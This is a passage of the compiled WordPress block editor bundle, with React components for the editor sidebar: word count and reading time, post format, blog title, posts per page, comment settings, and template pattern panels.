      getEditedPostAttribute,
      getCurrentPostType,
      getCurrentPostId
    } = select(store_store);
    const {
      canUser
    } = select(external_wp_coreData_namespaceObject.store);
    const {
      getEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    const siteSettings = canUser('read', {
      kind: 'root',
      name: 'site'
    }) ? getEntityRecord('root', 'site') : undefined;
    const postType = getCurrentPostType();
    const _id = getCurrentPostId();
    const isPostsPage = +_id === siteSettings?.page_for_posts;
    const showPostContentInfo = !isPostsPage && ![TEMPLATE_POST_TYPE, TEMPLATE_PART_POST_TYPE].includes(postType);
    return {
      postContent: showPostContentInfo && getEditedPostAttribute('content')
    };
  }, []);

  /*
   * translators: If your word count is based on single characters (e.g. East Asian characters),
   * enter 'characters_excluding_spaces' or 'characters_including_spaces'. Otherwise, enter 'words'.
   * Do not translate into your own language.
   */
  const wordCountType = (0,external_wp_i18n_namespaceObject._x)('words', 'Word count type. Do not translate!');
  const wordsCounted = (0,external_wp_element_namespaceObject.useMemo)(() => postContent ? (0,external_wp_wordcount_namespaceObject.count)(postContent, wordCountType) : 0, [postContent, wordCountType]);
  if (!wordsCounted) {
    return null;
  }
  const readingTime = Math.round(wordsCounted / post_content_information_AVERAGE_READING_RATE);
  const wordsCountText = (0,external_wp_i18n_namespaceObject.sprintf)(
  // translators: %s: the number of words in the post.
  (0,external_wp_i18n_namespaceObject._n)('%s word', '%s words', wordsCounted), wordsCounted.toLocaleString());
  const minutesText = readingTime <= 1 ? (0,external_wp_i18n_namespaceObject.__)('1 minute') : (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: the number of minutes to read the post. */
  (0,external_wp_i18n_namespaceObject._n)('%s minute', '%s minutes', readingTime), readingTime.toLocaleString());
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "editor-post-content-information",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
      children: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: How many words a post has. 2: the number of minutes to read the post (e.g. 130 words, 2 minutes read time.) */
      (0,external_wp_i18n_namespaceObject.__)('%1$s, %2$s read time.'), wordsCountText, minutesText)
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-format/panel.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */





/**
 * Renders the Post Author Panel component.
 *
 * @return {React.ReactNode} The rendered component.
 */

function panel_PostFormat() {
  const {
    postFormat
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditedPostAttribute
    } = select(store_store);
    const _postFormat = getEditedPostAttribute('format');
    return {
      postFormat: _postFormat !== null && _postFormat !== void 0 ? _postFormat : 'standard'
    };
  }, []);
  const activeFormat = POST_FORMATS.find(format => format.id === postFormat);

  // Use internal state instead of a ref to make sure that the component
  // re-renders when the popover's anchor updates.
  const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
  // Memoize popoverProps to avoid returning a new object every time.
  const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    // Anchor the popover to the middle of the entire row so that it doesn't
    // move around when the label changes.
    anchor: popoverAnchor,
    placement: 'left-start',
    offset: 36,
    shift: true
  }), [popoverAnchor]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostFormatCheck, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row, {
      label: (0,external_wp_i18n_namespaceObject.__)('Format'),
      ref: setPopoverAnchor,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
        popoverProps: popoverProps,
        contentClassName: "editor-post-format__dialog",
        focusOnMount: true,
        renderToggle: ({
          isOpen,
          onToggle
        }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          size: "compact",
          variant: "tertiary",
          "aria-expanded": isOpen,
          "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(
          // translators: %s: Current post format.
          (0,external_wp_i18n_namespaceObject.__)('Change format: %s'), activeFormat?.caption),
          onClick: onToggle,
          children: activeFormat?.caption
        }),
        renderContent: ({
          onClose
        }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
          className: "editor-post-format__dialog-content",
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader, {
            title: (0,external_wp_i18n_namespaceObject.__)('Format'),
            onClose: onClose
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostFormat, {})]
        })
      })
    })
  });
}
/* harmony default export */ const post_format_panel = (panel_PostFormat);

;// ./node_modules/@wordpress/editor/build-module/components/post-last-edited-panel/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */


function PostLastEditedPanel() {
  const modified = (0,external_wp_data_namespaceObject.useSelect)(select => select(store_store).getEditedPostAttribute('modified'), []);
  const lastEditedText = modified && (0,external_wp_i18n_namespaceObject.sprintf)(
  // translators: %s: Human-readable time difference, e.g. "2 days ago".
  (0,external_wp_i18n_namespaceObject.__)('Last edited %s.'), (0,external_wp_date_namespaceObject.humanTimeDiff)(modified));
  if (!lastEditedText) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "editor-post-last-edited-panel",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
      children: lastEditedText
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-panel-section/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */


function PostPanelSection({
  className,
  children
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
    className: dist_clsx('editor-post-panel__section', className),
    children: children
  });
}
/* harmony default export */ const post_panel_section = (PostPanelSection);

;// ./node_modules/@wordpress/editor/build-module/components/blog-title/index.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */




const blog_title_EMPTY_OBJECT = {};
function BlogTitle() {
  const {
    editEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const {
    postsPageTitle,
    postsPageId,
    isTemplate,
    postSlug
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord,
      getEditedEntityRecord,
      canUser
    } = select(external_wp_coreData_namespaceObject.store);
    const siteSettings = canUser('read', {
      kind: 'root',
      name: 'site'
    }) ? getEntityRecord('root', 'site') : undefined;
    const _postsPageRecord = siteSettings?.page_for_posts ? getEditedEntityRecord('postType', 'page', siteSettings?.page_for_posts) : blog_title_EMPTY_OBJECT;
    const {
      getEditedPostAttribute,
      getCurrentPostType
    } = select(store_store);
    return {
      postsPageId: _postsPageRecord?.id,
      postsPageTitle: _postsPageRecord?.title,
      isTemplate: getCurrentPostType() === TEMPLATE_POST_TYPE,
      postSlug: getEditedPostAttribute('slug')
    };
  }, []);
  // Use internal state instead of a ref to make sure that the component
  // re-renders when the popover's anchor updates.
  const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
  // Memoize popoverProps to avoid returning a new object every time.
  const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    // Anchor the popover to the middle of the entire row so that it doesn't
    // move around when the label changes.
    anchor: popoverAnchor,
    placement: 'left-start',
    offset: 36,
    shift: true
  }), [popoverAnchor]);
  if (!isTemplate || !['home', 'index'].includes(postSlug) || !postsPageId) {
    return null;
  }
  const setPostsPageTitle = newValue => {
    editEntityRecord('postType', 'page', postsPageId, {
      title: newValue
    });
  };
  const decodedTitle = (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(postsPageTitle);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row, {
    label: (0,external_wp_i18n_namespaceObject.__)('Blog title'),
    ref: setPopoverAnchor,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
      popoverProps: popoverProps,
      contentClassName: "editor-blog-title-dropdown__content",
      focusOnMount: true,
      renderToggle: ({
        isOpen,
        onToggle
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        size: "compact",
        variant: "tertiary",
        "aria-expanded": isOpen,
        "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(
        // translators: %s: Current post link.
        (0,external_wp_i18n_namespaceObject.__)('Change blog title: %s'), decodedTitle),
        onClick: onToggle,
        children: decodedTitle
      }),
      renderContent: ({
        onClose
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader, {
          title: (0,external_wp_i18n_namespaceObject.__)('Blog title'),
          onClose: onClose
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControl, {
          placeholder: (0,external_wp_i18n_namespaceObject.__)('No title'),
          size: "__unstable-large",
          value: postsPageTitle,
          onChange: (0,external_wp_compose_namespaceObject.debounce)(setPostsPageTitle, 300),
          label: (0,external_wp_i18n_namespaceObject.__)('Blog title'),
          help: (0,external_wp_i18n_namespaceObject.__)('Set the Posts Page title. Appears in search results, and when the page is shared on social media.'),
          hideLabelFromVision: true
        })]
      })
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/posts-per-page/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */




function PostsPerPage() {
  const {
    editEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const {
    postsPerPage,
    isTemplate,
    postSlug
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditedPostAttribute,
      getCurrentPostType
    } = select(store_store);
    const {
      getEditedEntityRecord,
      canUser
    } = select(external_wp_coreData_namespaceObject.store);
    const siteSettings = canUser('read', {
      kind: 'root',
      name: 'site'
    }) ? getEditedEntityRecord('root', 'site') : undefined;
    return {
      isTemplate: getCurrentPostType() === TEMPLATE_POST_TYPE,
      postSlug: getEditedPostAttribute('slug'),
      postsPerPage: siteSettings?.posts_per_page || 1
    };
  }, []);
  // Use internal state instead of a ref to make sure that the component
  // re-renders when the popover's anchor updates.
  const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
  // Memoize popoverProps to avoid returning a new object every time.
  const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    // Anchor the popover to the middle of the entire row so that it doesn't
    // move around when the label changes.
    anchor: popoverAnchor,
    placement: 'left-start',
    offset: 36,
    shift: true
  }), [popoverAnchor]);
  if (!isTemplate || !['home', 'index'].includes(postSlug)) {
    return null;
  }
  const setPostsPerPage = newValue => {
    editEntityRecord('root', 'site', undefined, {
      posts_per_page: newValue
    });
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row, {
    label: (0,external_wp_i18n_namespaceObject.__)('Posts per page'),
    ref: setPopoverAnchor,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
      popoverProps: popoverProps,
      contentClassName: "editor-posts-per-page-dropdown__content",
      focusOnMount: true,
      renderToggle: ({
        isOpen,
        onToggle
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        size: "compact",
        variant: "tertiary",
        "aria-expanded": isOpen,
        "aria-label": (0,external_wp_i18n_namespaceObject.__)('Change posts per page'),
        onClick: onToggle,
        children: postsPerPage
      }),
      renderContent: ({
        onClose
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader, {
          title: (0,external_wp_i18n_namespaceObject.__)('Posts per page'),
          onClose: onClose
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalNumberControl, {
          placeholder: 0,
          value: postsPerPage,
          size: "__unstable-large",
          spinControls: "custom",
          step: "1",
          min: "1",
          onChange: setPostsPerPage,
          label: (0,external_wp_i18n_namespaceObject.__)('Posts per page'),
          help: (0,external_wp_i18n_namespaceObject.__)('Set the default number of posts to display on blog pages, including categories and tags. Some templates may override this setting.'),
          hideLabelFromVision: true
        })]
      })
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/site-discussion/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */




const site_discussion_COMMENT_OPTIONS = [{
  label: (0,external_wp_i18n_namespaceObject._x)('Open', 'Adjective: e.g. "Comments are open"'),
  value: 'open',
  description: (0,external_wp_i18n_namespaceObject.__)('Visitors can add new comments and replies.')
}, {
  label: (0,external_wp_i18n_namespaceObject.__)('Closed'),
  value: '',
  description: [(0,external_wp_i18n_namespaceObject.__)('Visitors cannot add new comments or replies.'), (0,external_wp_i18n_namespaceObject.__)('Existing comments remain visible.')].join(' ')
}];
function SiteDiscussion() {
  const {
    editEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const {
    allowCommentsOnNewPosts,
    isTemplate,
    postSlug
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditedPostAttribute,
      getCurrentPostType
    } = select(store_store);
    const {
      getEditedEntityRecord,
      canUser
    } = select(external_wp_coreData_namespaceObject.store);
    const siteSettings = canUser('read', {
      kind: 'root',
      name: 'site'
    }) ? getEditedEntityRecord('root', 'site') : undefined;
    return {
      isTemplate: getCurrentPostType() === TEMPLATE_POST_TYPE,
      postSlug: getEditedPostAttribute('slug'),
      allowCommentsOnNewPosts: siteSettings?.default_comment_status || ''
    };
  }, []);
  // Use internal state instead of a ref to make sure that the component
  // re-renders when the popover's anchor updates.
  const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
  // Memoize popoverProps to avoid returning a new object every time.
  const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    // Anchor the popover to the middle of the entire row so that it doesn't
    // move around when the label changes.
    anchor: popoverAnchor,
    placement: 'left-start',
    offset: 36,
    shift: true
  }), [popoverAnchor]);
  if (!isTemplate || !['home', 'index'].includes(postSlug)) {
    return null;
  }
  const setAllowCommentsOnNewPosts = newValue => {
    editEntityRecord('root', 'site', undefined, {
      default_comment_status: newValue ? 'open' : null
    });
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row, {
    label: (0,external_wp_i18n_namespaceObject.__)('Discussion'),
    ref: setPopoverAnchor,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
      popoverProps: popoverProps,
      contentClassName: "editor-site-discussion-dropdown__content",
      focusOnMount: true,
      renderToggle: ({
        isOpen,
        onToggle
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        size: "compact",
        variant: "tertiary",
        "aria-expanded": isOpen,
        "aria-label": (0,external_wp_i18n_namespaceObject.__)('Change discussion settings'),
        onClick: onToggle,
        children: allowCommentsOnNewPosts ? (0,external_wp_i18n_namespaceObject.__)('Comments open') : (0,external_wp_i18n_namespaceObject.__)('Comments closed')
      }),
      renderContent: ({
        onClose
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader, {
          title: (0,external_wp_i18n_namespaceObject.__)('Discussion'),
          onClose: onClose
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
          spacing: 3,
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
            children: (0,external_wp_i18n_namespaceObject.__)('Changes will apply to new posts only. Individual posts may override these settings.')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.RadioControl, {
            className: "editor-site-discussion__options",
            hideLabelFromVision: true,
            label: (0,external_wp_i18n_namespaceObject.__)('Comment status'),
            options: site_discussion_COMMENT_OPTIONS,
            onChange: setAllowCommentsOnNewPosts,
            selected: allowCommentsOnNewPosts
          })]
        })]
      })
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/sidebar/post-summary.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */























/**
 * Module Constants
 */

const post_summary_PANEL_NAME = 'post-status';
function PostSummary({
  onActionPerformed
}) {
  const {
    isRemovedPostStatusPanel,
    postType,
    postId
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    // We use isEditorPanelRemoved to hide the panel if it was programmatically removed. We do
    // not use isEditorPanelEnabled since this panel should not be disabled through the UI.
    const {
      isEditorPanelRemoved,
      getCurrentPostType,
      getCurrentPostId
    } = select(store_store);
    return {
      isRemovedPostStatusPanel: isEditorPanelRemoved(post_summary_PANEL_NAME),
      postType: getCurrentPostType(),
      postId: getCurrentPostId()
    };
  }, []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_section, {
    className: "editor-post-summary",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(plugin_post_status_info.Slot, {
      children: fills => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
          spacing: 4,
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostCardPanel, {
            postType: postType,
            postId: postId,
            onActionPerformed: onActionPerformed
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostFeaturedImagePanel, {
            withPanelBody: false
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PrivatePostExcerptPanel, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
            spacing: 1,
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostContentInformation, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostLastEditedPanel, {})]
          }), !isRemovedPostStatusPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
            spacing: 4,
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
              spacing: 1,
              children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostStatus, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostSchedulePanel, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostURLPanel, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(panel, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostTemplatePanel, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostDiscussionPanel, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PrivatePostLastRevision, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PageAttributesPanel, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostSyncStatus, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlogTitle, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostsPerPage, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SiteDiscussion, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_format_panel, {}), fills]
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostTrash, {
              onActionPerformed: onActionPerformed
            })]
          })]
        })
      })
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-transform-panel/hooks.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */


const {
  EXCLUDED_PATTERN_SOURCES,
  PATTERN_TYPES: hooks_PATTERN_TYPES
} = unlock(external_wp_patterns_namespaceObject.privateApis);
function injectThemeAttributeInBlockTemplateContent(block, currentThemeStylesheet) {
  block.innerBlocks = block.innerBlocks.map(innerBlock => {
    return injectThemeAttributeInBlockTemplateContent(innerBlock, currentThemeStylesheet);
  });
  if (block.name === 'core/template-part' && block.attributes.theme === undefined) {
    block.attributes.theme = currentThemeStylesheet;
  }
  return block;
}

/**
 * Filter all patterns and return only the ones that are compatible with the current template.
 *
 * @param {Array}  patterns An array of patterns.
 * @param {Object} template The current template.
 * @return {Array} Array of patterns that are compatible with the current template.
 */
function filterPatterns(patterns, template) {
  // Filter out duplicates.
  const filterOutDuplicatesByName = (currentItem, index, items) => index === items.findIndex(item => currentItem.name === item.name);

  // Filter out core/directory patterns not included in theme.json.
  const filterOutExcludedPatternSources = pattern => !EXCLUDED_PATTERN_SOURCES.includes(pattern.source);

  // Looks for patterns that have the same template type as the current template,
  // or have a block type that matches the current template area.
  const filterCompatiblePatterns = pattern => pattern.templateTypes?.includes(template.slug) || pattern.blockTypes?.includes('core/template-part/' + template.area);
  return patterns.filter((pattern, index, items) => {
    return filterOutDuplicatesByName(pattern, index, items) && filterOutExcludedPatternSources(pattern) && filterCompatiblePatterns(pattern);
  });
}
function preparePatterns(patterns, currentThemeStylesheet) {
  return patterns.map(pattern => ({
    ...pattern,
    keywords: pattern.keywords || [],
    type: hooks_PATTERN_TYPES.theme,
    blocks: (0,external_wp_blocks_namespaceObject.parse)(pattern.content, {
      __unstableSkipMigrationLogs: true
    }).map(block => injectThemeAttributeInBlockTemplateContent(block, currentThemeStylesheet))
  }));
}
function useAvailablePatterns(template) {
  const {
    blockPatterns,
    restBlockPatterns,
    currentThemeStylesheet
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _settings$__experimen;
    const {
      getEditorSettings
    } = select(store_store);
    const settings = getEditorSettings();
    return {
      blockPatterns: (_settings$__experimen = settings.__experimentalAdditionalBlockPatterns) !== null && _settings$__experimen !== void 0 ? _settings$__experimen : settings.__experimentalBlockPatterns,
      restBlockPatterns: select(external_wp_coreData_namespaceObject.store).getBlockPatterns(),
      currentThemeStylesheet: select(external_wp_coreData_namespaceObject.store).getCurrentTheme().stylesheet
    };
  }, []);
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    const mergedPatterns = [...(blockPatterns || []), ...(restBlockPatterns || [])];
    const filteredPatterns = filterPatterns(mergedPatterns, template);
    return preparePatterns(filteredPatterns, template, currentThemeStylesheet);
  }, [blockPatterns, restBlockPatterns, template, currentThemeStylesheet]);
}

;// ./node_modules/@wordpress/editor/build-module/components/post-transform-panel/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */




function post_transform_panel_TemplatesList({
  availableTemplates,
  onSelect
}) {
  if (!availableTemplates || availableTemplates?.length === 0) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalBlockPatternsList, {
    label: (0,external_wp_i18n_namespaceObject.__)('Templates'),
    blockPatterns: availableTemplates,
    onClickPattern: onSelect,
    showTitlesAsTooltip: true
  });
}
function PostTransform() {
  const {
    record,
    postType,
    postId
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostType,
      getCurrentPostId
    } = select(store_store);
    const {
      getEditedEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    const type = getCurrentPostType();
    const id = getCurrentPostId();
    return {
      postType: type,
      postId: id,
      record: getEditedEntityRecord('postType', type, id)
    };
  }, []);
  const {
    editEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const availablePatterns = useAvailablePatterns(record);
  const onTemplateSelect = async selectedTemplate => {
    await editEntityRecord('postType', postType, postId, {
      blocks: selectedTemplate.blocks,
      content: (0,external_wp_blocks_namespaceObject.serialize)(selectedTemplate.blocks)
    });
  };
  if (!availablePatterns?.length) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, {
    title: (0,external_wp_i18n_namespaceObject.__)('Design'),
    initialOpen: record.type === TEMPLATE_PART_POST_TYPE,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_transform_panel_TemplatesList, {
      availableTemplates: availablePatterns,
      onSelect: onTemplateSelect
    })
  });
}
function PostTransformPanel() {
  const {
    postType
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostType
    } = select(store_store);
    return {
      postType: getCurrentPostType()
    };
  }, []);
  if (![TEMPLATE_PART_POST_TYPE, TEMPLATE_POST_TYPE].includes(postType)) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostTransform, {});
}

;// ./node_modules/@wordpress/editor/build-module/components/sidebar/constants.js
const sidebars = {
  document: 'edit-post/document',
  block: 'edit-post/block'
};

;// ./node_modules/@wordpress/editor/build-module/components/sidebar/header.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */




const {
  Tabs
} = unlock(external_wp_components_namespaceObject.privateApis);
const SidebarHeader = (_, ref) => {
  const {
    documentLabel
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getPostTypeLabel
    } = select(store_store);
    return {
      documentLabel:
      // translators: Default label for the Document sidebar tab, not selected.
      getPostTypeLabel() || (0,external_wp_i18n_namespaceObject._x)('Document', 'noun, panel')
    };
  }, []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(Tabs.TabList, {
    ref: ref,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.Tab, {
      tabId: sidebars.document
      // Used for focus management in the SettingsSidebar component.
      ,
      "data-tab-id": sidebars.document,
      children: documentLabel
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.Tab, {
      tabId: sidebars.block
      // Used for focus management in the SettingsSidebar component.
      ,
      "data-tab-id": sidebars.block,
      children: (0,external_wp_i18n_namespaceObject.__)('Block')
    })]
  });
};
/* harmony default export */ const sidebar_header = ((0,external_wp_element_namespaceObject.forwardRef)(SidebarHeader));

;// ./node_modules/@wordpress/editor/build-module/components/template-content-panel/index.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */




const {
  BlockQuickNavigation
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const template_content_panel_POST_CONTENT_BLOCK_TYPES = ['core/post-title', 'core/post-featured-image', 'core/post-content'];
const TEMPLATE_PART_BLOCK = 'core/template-part';
function TemplateContentPanel() {
  const postContentBlockTypes = (0,external_wp_element_namespaceObject.useMemo)(() => (0,external_wp_hooks_namespaceObject.applyFilters)('editor.postContentBlockTypes', template_content_panel_POST_CONTENT_BLOCK_TYPES), []);
  const {
    clientIds,
    postType,
    renderingMode
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostType,
      getPostBlocksByName,
      getRenderingMode
    } = unlock(select(store_store));
    const _postType = getCurrentPostType();
    return {
      postType: _postType,
      clientIds: getPostBlocksByName(TEMPLATE_POST_TYPE === _postType ? TEMPLATE_PART_BLOCK : postContentBlockTypes),
      renderingMode: getRenderingMode()
    };
  }, [postContentBlockTypes]);
  const {
    enableComplementaryArea
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  if (renderingMode === 'post-only' && postType !== TEMPLATE_POST_TYPE || clientIds.length === 0) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, {
    title: (0,external_wp_i18n_namespaceObject.__)('Content'),
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockQuickNavigation, {
      clientIds: clientIds,
      onSelect: () => {
        enableComplementaryArea('core', 'edit-post/document');
      }
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/template-part-content-panel/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */




const {
  BlockQuickNavigation: template_part_content_panel_BlockQuickNavigation
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function TemplatePartContentPanelInner() {
  const blockTypes = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getBlockTypes
    } = select(external_wp_blocks_namespaceObject.store);
    return getBlockTypes();
  }, []);
